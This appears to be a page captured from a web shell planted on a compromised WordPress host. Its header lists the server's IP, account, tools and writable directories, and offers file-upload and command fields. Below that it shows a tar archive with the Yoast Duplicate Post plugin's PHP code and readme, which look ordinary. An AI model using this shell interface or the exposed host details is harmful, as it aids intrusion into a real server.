403Webshell
Server IP : 146.59.209.152  /  Your IP : 216.73.216.46
Web Server : Apache
System : Linux webm005.cluster131.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User : infrafs ( 43850)
PHP Version : 8.2.29
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/i/n/f/infrafs/INFRABIKEIT/wp-content/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/i/n/f/infrafs/INFRABIKEIT/wp-content/plugins/FuvAhjuIQdJ9ELfQgKKOfg.tar
admin-functions.php000064400000060310151327062330010355 0ustar00<?php
/**
 * Backend functions.
 *
 * @package Yoast\WP\Duplicate_Post
 * @since   2.0
 */

if ( ! is_admin() ) {
	return;
}

use Yoast\WP\Duplicate_Post\UI\Newsletter;

require_once DUPLICATE_POST_PATH . 'options.php';

require_once DUPLICATE_POST_PATH . 'compat/wpml-functions.php';
require_once DUPLICATE_POST_PATH . 'compat/jetpack-functions.php';

/**
 * Wrapper for the option 'duplicate_post_version'.
 */
function duplicate_post_get_installed_version() {
	return get_option( 'duplicate_post_version' );
}

/**
 * Wrapper for the defined constant DUPLICATE_POST_CURRENT_VERSION.
 */
function duplicate_post_get_current_version() {
	return DUPLICATE_POST_CURRENT_VERSION;
}

add_action( 'admin_init', 'duplicate_post_admin_init' );

/**
 * Adds handlers depending on the options.
 */
function duplicate_post_admin_init() {
	duplicate_post_plugin_upgrade();

	if ( intval( get_site_option( 'duplicate_post_show_notice' ) ) === 1 ) {
		if ( is_multisite() ) {
			add_action( 'network_admin_notices', 'duplicate_post_show_update_notice' );
		}
		else {
			add_action( 'admin_notices', 'duplicate_post_show_update_notice' );
		}
		add_action( 'wp_ajax_duplicate_post_dismiss_notice', 'duplicate_post_dismiss_notice' );
	}

	add_action( 'dp_duplicate_post', 'duplicate_post_copy_post_meta_info', 10, 2 );
	add_action( 'dp_duplicate_page', 'duplicate_post_copy_post_meta_info', 10, 2 );

	if ( intval( get_option( 'duplicate_post_copychildren' ) ) === 1 ) {
		add_action( 'dp_duplicate_post', 'duplicate_post_copy_children', 20, 3 );
		add_action( 'dp_duplicate_page', 'duplicate_post_copy_children', 20, 3 );
	}

	if ( intval( get_option( 'duplicate_post_copyattachments' ) ) === 1 ) {
		add_action( 'dp_duplicate_post', 'duplicate_post_copy_attachments', 30, 2 );
		add_action( 'dp_duplicate_page', 'duplicate_post_copy_attachments', 30, 2 );
	}

	if ( intval( get_option( 'duplicate_post_copycomments' ) ) === 1 ) {
		add_action( 'dp_duplicate_post', 'duplicate_post_copy_comments', 40, 2 );
		add_action( 'dp_duplicate_page', 'duplicate_post_copy_comments', 40, 2 );
	}

	add_action( 'dp_duplicate_post', 'duplicate_post_copy_post_taxonomies', 50, 2 );
	add_action( 'dp_duplicate_page', 'duplicate_post_copy_post_taxonomies', 50, 2 );

	add_filter( 'plugin_row_meta', 'duplicate_post_add_plugin_links', 10, 2 );
}

/**
 * Plugin upgrade.
 */
function duplicate_post_plugin_upgrade() {
	$installed_version = duplicate_post_get_installed_version();

	if ( duplicate_post_get_current_version() === $installed_version ) {
		return;
	}

	if ( empty( $installed_version ) ) {
		// Get default roles.
		$default_roles = [
			'editor',
			'administrator',
			'wpseo_manager',
			'wpseo_editor',
		];

		foreach ( $default_roles as $name ) {
			$role = get_role( $name );
			if ( ! empty( $role ) ) {
				$role->add_cap( 'copy_posts' );
			}
		}
		add_option( 'duplicate_post_show_notice', 1 );
	}
	else {
		update_option( 'duplicate_post_show_notice', 0 );
	}

	$show_links_in_defaults = [
		'row'         => '1',
		'adminbar'    => '1',
		'submitbox'   => '1',
		'bulkactions' => '1',
	];

	add_option( 'duplicate_post_copytitle', '1' );
	add_option( 'duplicate_post_copydate', '0' );
	add_option( 'duplicate_post_copystatus', '0' );
	add_option( 'duplicate_post_copyslug', '0' );
	add_option( 'duplicate_post_copyexcerpt', '1' );
	add_option( 'duplicate_post_copycontent', '1' );
	add_option( 'duplicate_post_copythumbnail', '1' );
	add_option( 'duplicate_post_copytemplate', '1' );
	add_option( 'duplicate_post_copyformat', '1' );
	add_option( 'duplicate_post_copyauthor', '0' );
	add_option( 'duplicate_post_copypassword', '0' );
	add_option( 'duplicate_post_copyattachments', '0' );
	add_option( 'duplicate_post_copychildren', '0' );
	add_option( 'duplicate_post_copycomments', '0' );
	add_option( 'duplicate_post_copymenuorder', '1' );
	add_option( 'duplicate_post_taxonomies_blacklist', [] );
	add_option( 'duplicate_post_blacklist', '' );
	add_option( 'duplicate_post_types_enabled', [ 'post', 'page' ] );
	add_option( 'duplicate_post_show_original_column', '0' );
	add_option( 'duplicate_post_show_original_in_post_states', '0' );
	add_option( 'duplicate_post_show_original_meta_box', '0' );
	add_option(
		'duplicate_post_show_link',
		[
			'new_draft'         => '1',
			'clone'             => '1',
			'rewrite_republish' => '1',
		]
	);
	add_option( 'duplicate_post_show_link_in', $show_links_in_defaults );

	$taxonomies_blacklist = get_option( 'duplicate_post_taxonomies_blacklist' );
	if ( $taxonomies_blacklist === '' ) {
		$taxonomies_blacklist = [];
	}
	if ( in_array( 'post_format', $taxonomies_blacklist, true ) ) {
		update_option( 'duplicate_post_copyformat', 0 );
		$taxonomies_blacklist = array_diff( $taxonomies_blacklist, [ 'post_format' ] );
		update_option( 'duplicate_post_taxonomies_blacklist', $taxonomies_blacklist );
	}

	$meta_blacklist = explode( ',', get_option( 'duplicate_post_blacklist' ) );
	if ( $meta_blacklist === '' ) {
		$meta_blacklist = [];
	}
	$meta_blacklist = array_map( 'trim', $meta_blacklist );
	if ( in_array( '_wp_page_template', $meta_blacklist, true ) ) {
		update_option( 'duplicate_post_copytemplate', 0 );
		$meta_blacklist = array_diff( $meta_blacklist, [ '_wp_page_template' ] );
	}
	if ( in_array( '_thumbnail_id', $meta_blacklist, true ) ) {
		update_option( 'duplicate_post_copythumbnail', 0 );
		$meta_blacklist = array_diff( $meta_blacklist, [ '_thumbnail_id' ] );
	}
	update_option( 'duplicate_post_blacklist', implode( ',', $meta_blacklist ) );

	if ( version_compare( $installed_version, '4.0.0' ) < 0 ) {
		// Migrate the 'Show links in' options to the new array-based structure.
		duplicate_post_migrate_show_links_in_options( $show_links_in_defaults );
	}

	delete_site_option( 'duplicate_post_version' );
	update_option( 'duplicate_post_version', duplicate_post_get_current_version() );
}

/**
 * Runs the upgrade routine for version 4.0 to update the options in the database.
 *
 * @param array $defaults The default options to fall back on.
 *
 * @return void
 */
function duplicate_post_migrate_show_links_in_options( $defaults ) {
	$options_to_migrate = [
		'duplicate_post_show_row'         => 'row',
		'duplicate_post_show_adminbar'    => 'adminbar',
		'duplicate_post_show_submitbox'   => 'submitbox',
		'duplicate_post_show_bulkactions' => 'bulkactions',
	];

	$new_options = [];
	foreach ( $options_to_migrate as $old => $new ) {
		$new_options[ $new ] = get_option( $old, $defaults[ $new ] );

		delete_option( $old );
	}

	update_option( 'duplicate_post_show_link_in', $new_options );
}

/**
 * Shows the welcome notice.
 *
 * @global string $wp_version The WordPress version string.
 */
function duplicate_post_show_update_notice() {
	if ( ! current_user_can( 'manage_options' ) ) {
		return;
	}

	$current_screen = get_current_screen();
	if ( empty( $current_screen )
		|| empty( $current_screen->base )
		|| ( $current_screen->base !== 'dashboard' && $current_screen->base !== 'plugins' )
	) {
		return;
	}

	$title = sprintf(
		/* translators: %s: Yoast Duplicate Post. */
		esc_html__( 'You\'ve successfully installed %s!', 'duplicate-post' ),
		'Yoast Duplicate Post'
	);

	$img_path = plugins_url( '/duplicate_post_yoast_icon-125x125.png', __FILE__ );

	echo '<div id="duplicate-post-notice" class="notice is-dismissible" style="display: flex; align-items: flex-start;">
			<img src="' . esc_url( $img_path ) . '" alt="" style="margin: 1em 1em 1em 0; width: 130px; align-self: center;"/>
			<div stle="margin: 0.5em">
				<h1 style="font-size: 14px; color: #a4286a; font-weight: 600; margin-top: 8px;">' . $title . '</h1>' // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: escaped properly above.
				. Newsletter::newsletter_signup_form() // phpcs:ignore WordPress.Security.EscapeOutput -- Reason: escaped in newsletter.php.
			. '</div>
		</div>';

	echo "<script>
			function duplicate_post_dismiss_notice(){
				var data = {
				'action': 'duplicate_post_dismiss_notice',
				};

				jQuery.post(ajaxurl, data, function(response) {
					jQuery('#duplicate-post-notice').hide();
				});
			}

			jQuery(document).ready(function(){
				jQuery('body').on('click', '.notice-dismiss', function(){
					duplicate_post_dismiss_notice();
				});
			});
			</script>";
}

/**
 * Dismisses the notice.
 *
 * @return bool
 */
function duplicate_post_dismiss_notice() {
	return update_site_option( 'duplicate_post_show_notice', 0 );
}

/**
 * Copies the taxonomies of a post to another post.
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 *
 * @param int     $new_id New post ID.
 * @param WP_Post $post   The original post object.
 */
function duplicate_post_copy_post_taxonomies( $new_id, $post ) {
	global $wpdb;
	if ( isset( $wpdb->terms ) ) {
		// Clear default category (added by wp_insert_post).
		wp_set_object_terms( $new_id, null, 'category' );

		$post_taxonomies = get_object_taxonomies( $post->post_type );
		// Several plugins just add support to post-formats but don't register post_format taxonomy.
		if ( post_type_supports( $post->post_type, 'post-formats' ) && ! in_array( 'post_format', $post_taxonomies, true ) ) {
			$post_taxonomies[] = 'post_format';
		}

		$taxonomies_blacklist = get_option( 'duplicate_post_taxonomies_blacklist' );
		if ( $taxonomies_blacklist === '' ) {
			$taxonomies_blacklist = [];
		}
		if ( intval( get_option( 'duplicate_post_copyformat' ) ) === 0 ) {
			$taxonomies_blacklist[] = 'post_format';
		}

		/**
		 * Filters the taxonomy excludelist when copying a post.
		 *
		 * @param array $taxonomies_blacklist The taxonomy excludelist from the options.
		 *
		 * @return array
		 */
		$taxonomies_blacklist = apply_filters( 'duplicate_post_taxonomies_excludelist_filter', $taxonomies_blacklist );

		$taxonomies = array_diff( $post_taxonomies, $taxonomies_blacklist );
		foreach ( $taxonomies as $taxonomy ) {
			$post_terms = wp_get_object_terms( $post->ID, $taxonomy, [ 'orderby' => 'term_order' ] );
			$terms      = [];
			$num_terms  = count( $post_terms );
			for ( $i = 0; $i < $num_terms; $i++ ) {
				$terms[] = $post_terms[ $i ]->slug;
			}
			wp_set_object_terms( $new_id, $terms, $taxonomy );
		}
	}
}

/**
 * Copies the meta information of a post to another post
 *
 * @param int     $new_id The new post ID.
 * @param WP_Post $post   The original post object.
 */
function duplicate_post_copy_post_meta_info( $new_id, $post ) {
	$post_meta_keys = get_post_custom_keys( $post->ID );
	if ( empty( $post_meta_keys ) ) {
		return;
	}
	$meta_blacklist = get_option( 'duplicate_post_blacklist' );
	if ( $meta_blacklist === '' ) {
		$meta_blacklist = [];
	}
	else {
		$meta_blacklist = explode( ',', $meta_blacklist );
		$meta_blacklist = array_filter( $meta_blacklist );
		$meta_blacklist = array_map( 'trim', $meta_blacklist );
	}
	$meta_blacklist[] = '_edit_lock'; // Edit lock.
	$meta_blacklist[] = '_edit_last'; // Edit lock.
	$meta_blacklist[] = '_dp_is_rewrite_republish_copy';
	$meta_blacklist[] = '_dp_has_rewrite_republish_copy';
	if ( intval( get_option( 'duplicate_post_copytemplate' ) ) === 0 ) {
		$meta_blacklist[] = '_wp_page_template';
	}
	if ( intval( get_option( 'duplicate_post_copythumbnail' ) ) === 0 ) {
		$meta_blacklist[] = '_thumbnail_id';
	}

	$meta_blacklist = apply_filters_deprecated( 'duplicate_post_blacklist_filter', [ $meta_blacklist ], '3.2.5', 'duplicate_post_excludelist_filter' );

	/**
	 * Filters the meta fields excludelist when copying a post.
	 *
	 * @param array $meta_blacklist The meta fields excludelist from the options.
	 *
	 * @return array
	 */
	$meta_blacklist = apply_filters( 'duplicate_post_excludelist_filter', $meta_blacklist );

	$meta_blacklist_string = '(' . implode( ')|(', $meta_blacklist ) . ')';
	if ( strpos( $meta_blacklist_string, '*' ) !== false ) {
		$meta_blacklist_string = str_replace( [ '*' ], [ '[a-zA-Z0-9_]*' ], $meta_blacklist_string );

		$meta_keys = [];
		foreach ( $post_meta_keys as $meta_key ) {
			if ( ! preg_match( '#^' . $meta_blacklist_string . '$#', $meta_key ) ) {
				$meta_keys[] = $meta_key;
			}
		}
	}
	else {
		$meta_keys = array_diff( $post_meta_keys, $meta_blacklist );
	}

	/**
	 * Filters the list of meta fields names when copying a post.
	 *
	 * @param array $meta_keys The list of meta fields name, with the ones in the excludelist already removed.
	 *
	 * @return array
	 */
	$meta_keys = apply_filters( 'duplicate_post_meta_keys_filter', $meta_keys );

	foreach ( $meta_keys as $meta_key ) {
		$meta_values = get_post_custom_values( $meta_key, $post->ID );
		foreach ( $meta_values as $meta_value ) {
			$meta_value = maybe_unserialize( $meta_value );
			add_post_meta( $new_id, $meta_key, duplicate_post_wp_slash( $meta_value ) );
		}
	}
}

/**
 * Workaround for inconsistent wp_slash.
 * Works only with WP 4.4+ (map_deep)
 *
 * @param mixed $value Array or object to be recursively slashed.
 * @return string|mixed
 */
function duplicate_post_addslashes_deep( $value ) {
	if ( function_exists( 'map_deep' ) ) {
		return map_deep( $value, 'duplicate_post_addslashes_to_strings_only' );
	}
	else {
		return wp_slash( $value );
	}
}

/**
 * Adds slashes only to strings.
 *
 * @param mixed $value Value to slash only if string.
 * @return string|mixed
 */
function duplicate_post_addslashes_to_strings_only( $value ) {
	return Yoast\WP\Duplicate_Post\Utils::addslashes_to_strings_only( $value );
}

/**
 * Replacement function for faulty core wp_slash().
 *
 * @param mixed $value What to add slash to.
 * @return mixed
 */
function duplicate_post_wp_slash( $value ) {
	return duplicate_post_addslashes_deep( $value );
}

/**
 * Copies attachments, including physical files.
 *
 * @param int     $new_id The new post ID.
 * @param WP_Post $post   The original post object.
 */
function duplicate_post_copy_attachments( $new_id, $post ) {
	// Get thumbnail ID.
	$old_thumbnail_id = get_post_thumbnail_id( $post->ID );
	// Get children.
	$children = get_posts(
		[
			'post_type'   => 'any',
			'numberposts' => -1,
			'post_status' => 'any',
			'post_parent' => $post->ID,
		]
	);
	// Clone old attachments.
	foreach ( $children as $child ) {
		if ( $child->post_type !== 'attachment' ) {
			continue;
		}
		$url = wp_get_attachment_url( $child->ID );
		// Let's copy the actual file.
		$tmp = download_url( $url );
		if ( is_wp_error( $tmp ) ) {
			continue;
		}

		$desc = wp_slash( $child->post_content );

		$file_array             = [];
		$file_array['name']     = basename( $url );
		$file_array['tmp_name'] = $tmp;
		// "Upload" to the media collection
		$new_attachment_id = media_handle_sideload( $file_array, $new_id, $desc );

		if ( is_wp_error( $new_attachment_id ) ) {
			unlink( $file_array['tmp_name'] );
			continue;
		}
		$new_post_author = wp_get_current_user();
		$cloned_child    = [
			'ID'           => $new_attachment_id,
			'post_title'   => $child->post_title,
			'post_exceprt' => $child->post_title,
			'post_author'  => $new_post_author->ID,
		];
		wp_update_post( wp_slash( $cloned_child ) );

		$alt_title = get_post_meta( $child->ID, '_wp_attachment_image_alt', true );
		if ( $alt_title ) {
			update_post_meta( $new_attachment_id, '_wp_attachment_image_alt', wp_slash( $alt_title ) );
		}

		// If we have cloned the post thumbnail, set the copy as the thumbnail for the new post.
		if ( intval( get_option( 'duplicate_post_copythumbnail' ) ) === 1 && $old_thumbnail_id === $child->ID ) {
			set_post_thumbnail( $new_id, $new_attachment_id );
		}
	}
}

/**
 * Copies child posts.
 *
 * @param int     $new_id The new post ID.
 * @param WP_Post $post   The original post object.
 * @param string  $status Optional. The destination status.
 */
function duplicate_post_copy_children( $new_id, $post, $status = '' ) {
	// Get children.
	$children = get_posts(
		[
			'post_type'   => 'any',
			'numberposts' => -1,
			'post_status' => 'any',
			'post_parent' => $post->ID,
		]
	);

	foreach ( $children as $child ) {
		if ( $child->post_type === 'attachment' ) {
			continue;
		}
		duplicate_post_create_duplicate( $child, $status, $new_id );
	}
}

/**
 * Copies comments.
 *
 * @param int     $new_id The new post ID.
 * @param WP_Post $post   The original post object.
 */
function duplicate_post_copy_comments( $new_id, $post ) {
	$comments = get_comments(
		[
			'post_id' => $post->ID,
			'order'   => 'ASC',
			'orderby' => 'comment_date_gmt',
		]
	);

	$old_id_to_new = [];
	foreach ( $comments as $comment ) {
		// Do not copy pingbacks or trackbacks.
		if ( $comment->comment_type === 'pingback' || $comment->comment_type === 'trackback' ) {
			continue;
		}
		$parent      = ( $comment->comment_parent && $old_id_to_new[ $comment->comment_parent ] ) ? $old_id_to_new[ $comment->comment_parent ] : 0;
		$commentdata = [
			'comment_post_ID'      => $new_id,
			'comment_author'       => $comment->comment_author,
			'comment_author_email' => $comment->comment_author_email,
			'comment_author_url'   => $comment->comment_author_url,
			'comment_content'      => $comment->comment_content,
			'comment_type'         => $comment->comment_type,
			'comment_parent'       => $parent,
			'user_id'              => $comment->user_id,
			'comment_author_IP'    => $comment->comment_author_IP,
			'comment_agent'        => $comment->comment_agent,
			'comment_karma'        => $comment->comment_karma,
			'comment_approved'     => $comment->comment_approved,
		];
		if ( intval( get_option( 'duplicate_post_copydate' ) ) === 1 ) {
			$commentdata['comment_date']     = $comment->comment_date;
			$commentdata['comment_date_gmt'] = get_gmt_from_date( $comment->comment_date );
		}
		$new_comment_id = wp_insert_comment( $commentdata );
		$commentmeta    = get_comment_meta( $new_comment_id );
		foreach ( $commentmeta as $meta_key => $meta_value ) {
			add_comment_meta( $new_comment_id, $meta_key, duplicate_post_wp_slash( $meta_value ) );
		}
		$old_id_to_new[ $comment->comment_ID ] = $new_comment_id;
	}
}

/**
 * Creates a duplicate from a post.
 *
 * This is the main functions that does the cloning.
 *
 * @param WP_Post $post      The original post object.
 * @param string  $status    Optional. The intended destination status.
 * @param string  $parent_id Optional. The parent post ID if we are calling this recursively.
 * @return int|WP_Error
 */
function duplicate_post_create_duplicate( $post, $status = '', $parent_id = '' ) {
	/**
	 * Fires before duplicating a post.
	 *
	 * @param WP_Post $post      The original post object.
	 * @param bool    $status    The intended destination status.
	 * @param int     $parent_id The parent post ID if we are calling this recursively.
	 */
	do_action( 'duplicate_post_pre_copy', $post, $status, $parent_id );

	/**
	 * Filter allowing to copy post.
	 *
	 * @param bool    $can_duplicate Default to `true`.
	 * @param WP_Post $post          The original post object.
	 * @param bool    $status        The intended destination status.
	 * @param int     $parent_id     The parent post ID if we are calling this recursively.
	 *
	 * @return bool
	 */
	$can_duplicate = apply_filters( 'duplicate_post_allow', true, $post, $status, $parent_id );
	if ( ! $can_duplicate ) {
		wp_die( esc_html( __( 'You aren\'t allowed to duplicate this post', 'duplicate-post' ) ) );
	}

	if ( ! duplicate_post_is_post_type_enabled( $post->post_type ) && $post->post_type !== 'attachment' ) {
		wp_die(
			esc_html(
				__( 'Copy features for this post type are not enabled in options page', 'duplicate-post' ) . ': '
				. $post->post_type
			)
		);
	}

	$new_post_status = ( empty( $status ) ) ? $post->post_status : $status;
	$title           = ' ';

	if ( $post->post_type !== 'attachment' ) {
		$prefix = sanitize_text_field( get_option( 'duplicate_post_title_prefix' ) );
		$suffix = sanitize_text_field( get_option( 'duplicate_post_title_suffix' ) );
		if ( intval( get_option( 'duplicate_post_copytitle' ) ) === 1 ) {
			$title = $post->post_title;
			if ( ! empty( $prefix ) ) {
				$prefix .= ' ';
			}
			if ( ! empty( $suffix ) ) {
				$suffix = ' ' . $suffix;
			}
		}
		else {
			$title = ' ';
		}
		$title = trim( $prefix . $title . $suffix );

		/*
		 * Not sure we should force a title. Instead, we should respect what WP does.
		 * if ( '' === $title ) {
		 *  // empty title.
		 *  $title = __( 'Untitled', 'default' );
		 * }
		 */

		if ( intval( get_option( 'duplicate_post_copystatus' ) ) === 0 ) {
			$new_post_status = 'draft';
		}
		elseif ( $new_post_status === 'publish' || $new_post_status === 'future' ) {
			// Check if the user has the right capability.
			if ( is_post_type_hierarchical( $post->post_type ) ) {
				if ( ! current_user_can( 'publish_pages' ) ) {
					$new_post_status = 'pending';
				}
			}
			elseif ( ! current_user_can( 'publish_posts' ) ) {
				$new_post_status = 'pending';
			}
		}
	}

	$new_post_author    = wp_get_current_user();
	$new_post_author_id = $new_post_author->ID;
	if ( intval( get_option( 'duplicate_post_copyauthor' ) ) === 1 ) {
		// Check if the user has the right capability.
		if ( is_post_type_hierarchical( $post->post_type ) ) {
			if ( current_user_can( 'edit_others_pages' ) ) {
				$new_post_author_id = $post->post_author;
			}
		}
		elseif ( current_user_can( 'edit_others_posts' ) ) {
			$new_post_author_id = $post->post_author;
		}
	}

	$menu_order             = ( intval( get_option( 'duplicate_post_copymenuorder' ) ) === 1 ) ? $post->menu_order : 0;
	$increase_menu_order_by = get_option( 'duplicate_post_increase_menu_order_by' );
	if ( ! empty( $increase_menu_order_by ) && is_numeric( $increase_menu_order_by ) ) {
		$menu_order += intval( $increase_menu_order_by );
	}

	$post_name = $post->post_name;
	if ( intval( get_option( 'duplicate_post_copyslug' ) ) !== 1 ) {
		$post_name = '';
	}
	$new_post_parent = empty( $parent_id ) ? $post->post_parent : $parent_id;

	$new_post = [
		'menu_order'            => $menu_order,
		'comment_status'        => $post->comment_status,
		'ping_status'           => $post->ping_status,
		'post_author'           => $new_post_author_id,
		'post_content'          => ( intval( get_option( 'duplicate_post_copycontent' ) ) === 1 ) ? $post->post_content : '',
		'post_content_filtered' => ( intval( get_option( 'duplicate_post_copycontent' ) ) === 1 ) ? $post->post_content_filtered : '',
		'post_excerpt'          => ( intval( get_option( 'duplicate_post_copyexcerpt' ) ) === 1 ) ? $post->post_excerpt : '',
		'post_mime_type'        => $post->post_mime_type,
		'post_parent'           => $new_post_parent,
		'post_password'         => ( intval( get_option( 'duplicate_post_copypassword' ) ) === 1 ) ? $post->post_password : '',
		'post_status'           => $new_post_status,
		'post_title'            => $title,
		'post_type'             => $post->post_type,
		'post_name'             => $post_name,
	];

	if ( intval( get_option( 'duplicate_post_copydate' ) ) === 1 ) {
		$new_post_date             = $post->post_date;
		$new_post['post_date']     = $new_post_date;
		$new_post['post_date_gmt'] = get_gmt_from_date( $new_post_date );
	}

	/**
	 * Filter new post values.
	 *
	 * @param array   $new_post New post values.
	 * @param WP_Post $post     Original post object.
	 *
	 * @return array
	 */
	$new_post    = apply_filters( 'duplicate_post_new_post', $new_post, $post );
	$new_post_id = wp_insert_post( wp_slash( $new_post ), true );

	// If you have written a plugin which uses non-WP database tables to save
	// information about a post you can hook this action to dupe that data.
	if ( $new_post_id !== 0 && ! is_wp_error( $new_post_id ) ) {

		if ( $post->post_type === 'page' || is_post_type_hierarchical( $post->post_type ) ) {
			do_action( 'dp_duplicate_page', $new_post_id, $post, $status );
		}
		else {
			do_action( 'dp_duplicate_post', $new_post_id, $post, $status );
		}

		delete_post_meta( $new_post_id, '_dp_original' );
		add_post_meta( $new_post_id, '_dp_original', $post->ID );
	}

	/**
	 * Fires after duplicating a post.
	 *
	 * @param int|WP_Error $new_post_id The new post id or WP_Error object on error.
	 * @param WP_Post      $post        The original post object.
	 * @param bool         $status      The intended destination status.
	 * @param int          $parent_id   The parent post ID if we are calling this recursively.
	 */
	do_action( 'duplicate_post_post_copy', $new_post_id, $post, $status, $parent_id );

	return $new_post_id;
}

/**
 * Adds some links on the plugin page.
 *
 * @param array  $links The links array.
 * @param string $file  The file name.
 * @return array
 */
function duplicate_post_add_plugin_links( $links, $file ) {
	if ( plugin_basename( __DIR__ . '/duplicate-post.php' ) === $file ) {
		$links[] = '<a href="https://yoast.com/wordpress/plugins/duplicate-post">' . esc_html__( 'Documentation', 'duplicate-post' ) . '</a>';
	}
	return $links;
}
readme.txt000064400000037054151327062330006555 0ustar00=== Yoast Duplicate Post ===
Contributors: 		yoast, lopo
Donate link: 		https://yoast.com/wordpress/plugins/duplicate-post/
Tags: 				duplicate post, copy, clone
Requires at least: 	5.8
Tested up to: 		6.0
Stable tag: 		4.4
Requires PHP:		5.6.20
License: 			GPLv2 or later
License URI: 		http://www.gnu.org/licenses/gpl-2.0.html

The go-to tool for cloning posts and pages, including the powerful Rewrite & Republish feature.

== Description ==

This plugin allows users to clone posts of any type, or copy them to new drafts for further editing.

How it works:

1. In 'Edit Posts'/'Edit Pages', you can click on 'Clone' link below the post/page title: this will immediately create a copy and return to the list.

2. In 'Edit Posts'/'Edit Pages', you can select one or more items, then choose 'Clone' in the 'Bulk Actions' dropdown to copy them all at once.

3. In 'Edit Posts'/'Edit Pages', you can click on 'New Draft' link below the post/page title.

4. On the post edit screen, you can click on 'Copy to a new draft' above "Cancel"/"Move to trash" or in the admin bar.

5. While viewing a post as a logged in user, you can click on 'Copy to a new draft' in the admin bar.

3, 4 and 5 will lead to the edit page for the new draft: change what you want, click on 'Publish' and you're done.

There is also a **template tag**, so you can put it in your templates and clone your posts/pages from the front-end. Clicking on the link will lead you to the edit page for the new draft, just like the admin bar link.

Duplicate Post has many useful settings to customize its behavior and restrict its use to certain roles or post types. Check out the extensive documentation [on yoast.com](https://yoast.com/wordpress/plugins/duplicate-post/) and our [developer docs](https://developer.yoast.com/duplicate-post/).

== Installation ==

Use WordPress' Add New Plugin feature, searching "Duplicate Post", or download the archive and:

1. Unzip the archive on your computer
2. Upload `duplicate-post` directory to the `/wp-content/plugins/` directory
3. Activate the plugin through the 'Plugins' menu in WordPress
4. Go to Settings -> Duplicate Post and customize behaviour as needed

== Frequently Asked Questions ==

= The plugin doesn't work, why? =

First, check your version of WordPress: the plugin is not supposed to work on old versions anymore. Make sure also to upgrade to the last version of the plugin!

Then try to deactivate and re-activate it, some user have reported that this fixes some problems.

Pay also attention to the "Permissions" tab in the Settings: make sure the plugin is enabled for the desired roles and post types.

If it still doesn't work, maybe there is some kind of conflict with other plugins: feel free [to write in the forum](https://wordpress.org/support/plugin/duplicate-post) and we'll try to discover a solution (it will be *really* helpful if you try to deactivate all your other plugins one by one to see which one conflicts with mine... But do it only if you know what you're doing, I will not be responsible of any problem you may experience).

= The plugin is not translated in my language! =

From version 3.0 the plugin's translations are managed by the WordPress.org platform and the plugin is shipped without language files, so first of all update translations under Dashboard->Updates.

If Duplicate Post is still in English, or if there are some untranslated strings, you can [help translating to your language](https://translate.wordpress.org/projects/wp-plugins/duplicate-post): you only need a WordPress.org account.

== Screenshots ==

1. Classic editor.
2. Block editor.
3. Post list.
4. Admin bar menu.
5. Bulk actions.
6. The options page.

== Upgrade Notice ==

= 3.2.6 =
Compatibility with WP 5.5 + various fixes

= 3.2.5 =
First release from Yoast + accessibility improvements + filter deprecated

= 3.2.4 =
Options to show original post + accessibility improvements

= 3.2.3 =
Fixes some bugs and incompatibilities with CF7, WPML, and custom post types with custom capabilities

= 3.2.2 =
Adds compatibility with Gutenberg UI and fixes a problem with slugs on new installs

= 3.2.1 =
Fixes some problems with Multisite, WPML, revisions

= 3.2 =
new website + WPML compatibility + various fixes

= 3.1.2 =
Fixes the problem with custom fields

= 3.1.1 =
Bulk clone + custom field wildcards + other features + bugfixes + fix for nasty nag

= 3.1 =
Bulk clone + custom field wildcards + other features + bugfixes

= 3.0.3 =
Notices + small fixes and improvements

= 3.0.2 =
Small bugfixes: check the changelog for more info

= 3.0.1 =
Recommended if you have 3.0: fixes the upgrade bug

= 3.0 =
Major redesign of the settings page + fine-tune options (what to copy, custom post types, etc.) + bugfixes and XSS prevention

= 2.6 =
PHP 5.4 (Strict Standards) compatible + Fixed possible XSS and SQL injections + other bugs

= 2.4.1 =
Fixes a couple of bug. Recommended if you have problems with v2.4

= 2.4 =
Copy child pages + a couple of bugfixes + licence switch to GPLv2

= 2.3 =
Fixes a bunch of bugs + copy attachments + choose where to show the links.

= 2.2 =
VERY IMPORTANT UPGRADE to get rid of problems with complex custom fields, afflicting both 2.1.* releases.

= 2.1.1 =
Fix for upgrade problem

= 2.1 =
Copy from admin bar + user levels out, roles and capabilities in.

= 2.0.2 =
Fixed permalink bug + double choice on posts list

= 2.0.1 =
Bug fix + new option

= 2.0 =
Several improvements and new features, see changelog. Requires WP 3.0+.

= 1.1.1 =
Some users have experienced a fatal error when upgrading to v1.1: this may fix it, if it's caused by a plugin conflict.

= 1.1 =
New features and customization, WP 3.0 compatibility: you should upgrade if you want to copy Custom Posts with Custom Taxonomies.

== Changelog ==

= 4.4 (2022-01-25) =

Enhancements:

* Converts the upgrade notice into a welcome notice for first-time users.

Bugfixes:

* Fixes a bug where HTML tags in a Custom HTML block would be removed when republishing a scheduled Rewrite & Republish copy.
* Fixes a bug where the button style would be broken in the Classic Editor.
* Fixes a bug where a fatal error would be triggered in the Widgets page in combination with some themes or plugins.

Other:
* Sets the WordPress tested up to version to 5.9.

= 4.3 (2021-12-14) =

Bugfixes:

* Fixes a bug where Rewrite & Republish copies could be displayed and queried in the front end.

= 4.2 (2021-11-18) =

Bugfixes:

* Fixes a bug where some strings where not translated.
* Fixes a bug where meta data went missing for duplicate posts created by the Rewrite & Republish feature. Props to [ocean90](https://github.com/ocean90).
* Fixes a bug where the plugin would not initialize if installed via composer.

Other:

* Replaces Mailchimp with MailBlue newsletter integration.
* Improved compatibility for PHP 8.0.
* Improved sort order of the taxonomies list on the options page.
* Most plugin files have been renamed. If you extend this plugin of include any of the files from the plugin from within your own plugin, you may need to adjust the file name used in the `include`/`require` statement.

= 4.1.2 (2021-03-23) =

Enhancements:

* Allows plugins such as ACF to add fields to the "Compare changes" screen for Rewrite & Republish.

Bugfixes:

* Fixes a bug where the "Compare changes" screen for the Rewrite & Republish feature displayed a broken layout in WordPress 5.7.
* Fixes a bug where a post type enabled by filter couldn't be copied.
* Fixes a bug where the "Show links in" settings were reset to the default value on version upgrade.

= 4.1.1 (2021-01-27) =

Bugfixes:

